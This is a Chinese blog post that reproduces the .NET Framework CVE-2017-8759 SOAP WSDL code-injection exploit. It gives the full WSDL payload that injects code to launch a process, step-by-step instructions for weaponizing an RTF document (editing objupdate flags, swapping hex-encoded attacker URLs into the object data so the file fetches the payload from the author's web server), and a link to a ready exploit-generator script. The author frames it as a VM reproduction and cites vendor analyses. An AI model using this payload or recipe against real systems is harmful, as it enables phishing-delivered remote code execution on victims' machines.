.NET框架0Day漏洞CVE-2017-8759复现过程

匿名 (未验证) 提交于 2019-12-03 00:15:02

FireEye最近检测到一个恶意的Microsoft Office RTF文档,利用CVE-2017-8759(一种SOAP WSDL解析器代码注入漏洞)。此漏洞允许在解析SOAP WSDL定义内容期间注入任意代码。

漏洞名称:.NET Framework远程代码执行漏洞
漏洞编号:CVE-2017-8759
漏洞影响:.NET系列产品的远程代码执行(RCE)并进一步控制系统
利用场景:远程钓鱼、社会工程
影响版本:以下.NET版本








影响产品:Office(word excel)Edge IE WinOS Skype Lync Sharepoint

PrintClientProxy方法中的WSDL解析器模块中存在代码注入漏洞。如果提供的包含CRLF序列的数据,则IsValidUrl不会执行正确的验证。这就造成了攻击者注入和执行任意代码。

这里不详细介绍了(因为我也不懂),可以参考火眼和360的分析。

新建一个图片文件,名字为office.png(其他格式也行),内容为:

<definitions     xmlns="http://schemas.xmlsoap.org/wsdl/"     xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"     xmlns:suds="http://www.w3.org/2000/wsdl/suds"     xmlns:tns="http://schemas.microsoft.com/clr/ns/System"     xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">    <portType name="PortType"/>    <binding name="Binding" type="tns:PortType">        <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>        <suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>    </binding>    <service name="Service">        <port name="Port" binding="tns:Binding">            <soap:address location="http://localhost?C:\Windows\System32\calc.exe?011"/>			<soap:address location=";			if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {				System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);				System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);			} //"/>        </port>    </service></definitions>

然后放在web目录。
根据样本文件,发现是在word文档中添加一个SOAP标记。
格式为soap:wsdl=http://192.168.135.135/office/office.png
本次以样本为例,然后修改其中的地址。

分别用样本和自己的web地址生成特hex格式的地址,然后将样本中的地址更换为自己的地址即可。(注意替换的长度需保持一致)

样本文件最重要的是倒数第三行(看起来是空白),然后可以将上面无用的内容全部删除,只留下最后三行。

然后就是打开该word文档,就可以看到计算器弹出。但实现的过程有点问题,就是必须点更新链接才会触发(即使将添加objupdate还是不行)。

参考https://github.com/vysec/CVE-2017-8759
新建o.png,内容为:

word.db内容:

新建一个rtf文档,随意插入一个对象。例如http://192.168.135.135/office/o.png
用记事本打开,将\object\objautlink\rsltpict修改为\object\objautlink\objupdate\rsltpict
打开blob.bin文件


将其中的地址修改为http://192.168.135.135/office/o.png
复制原来的地址,尽量多复制点空格。

然后生成新的hex地址

然后用生成的地址替换blob.bin中的地址


然后将blob.bin中的内容替换word文档的objdata内容。
然后打开word文档,就会有神奇的事情发生。

恶意软件将被放置在C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\OfficeUpdte-KB[6个随机数字].exe

以上均在虚拟机上测试。没有使用样本中的left.jpg。最后结果确实如火眼所说的那样生成了OfficeUpdte-KB******.exe文件。在win10(真机)上测试的时候还生成了http1001924168413541350office0office4png.pdb、http1001924168413541350office0office4png.dll和Logo.cs三个文件。
这里方法一没有直接执行的原因我也不太清楚,但是用方法二插入office.png,也是不会直接执行的。如果方法一和二中过程替换一下,效果也是一样的。

下载脚本https://github.com/fupinglee/MyPython/blob/master/exploit/CVE-2017-8759/CVE-2017-8759_exploit_rtf.py

使用方法:python CVE-2017-8759_exploit_rtf.py http://192.168.135.135/office/office.png
会在当前目录生成文件cve-2017-8759.rtf,打开即可。

根据CVE-2017-0199的脚本改写而来,仅仅保留并修改了生成文件的代码。

[1].https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html
[2].http://mp.weixin.qq.com/s/_rfRtj6da1nowI4qMmkLaA
[3].https://www.mdsec.co.uk/2017/09/exploiting-cve-2017-8759-soap-wsdl-parser-code-injection/

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!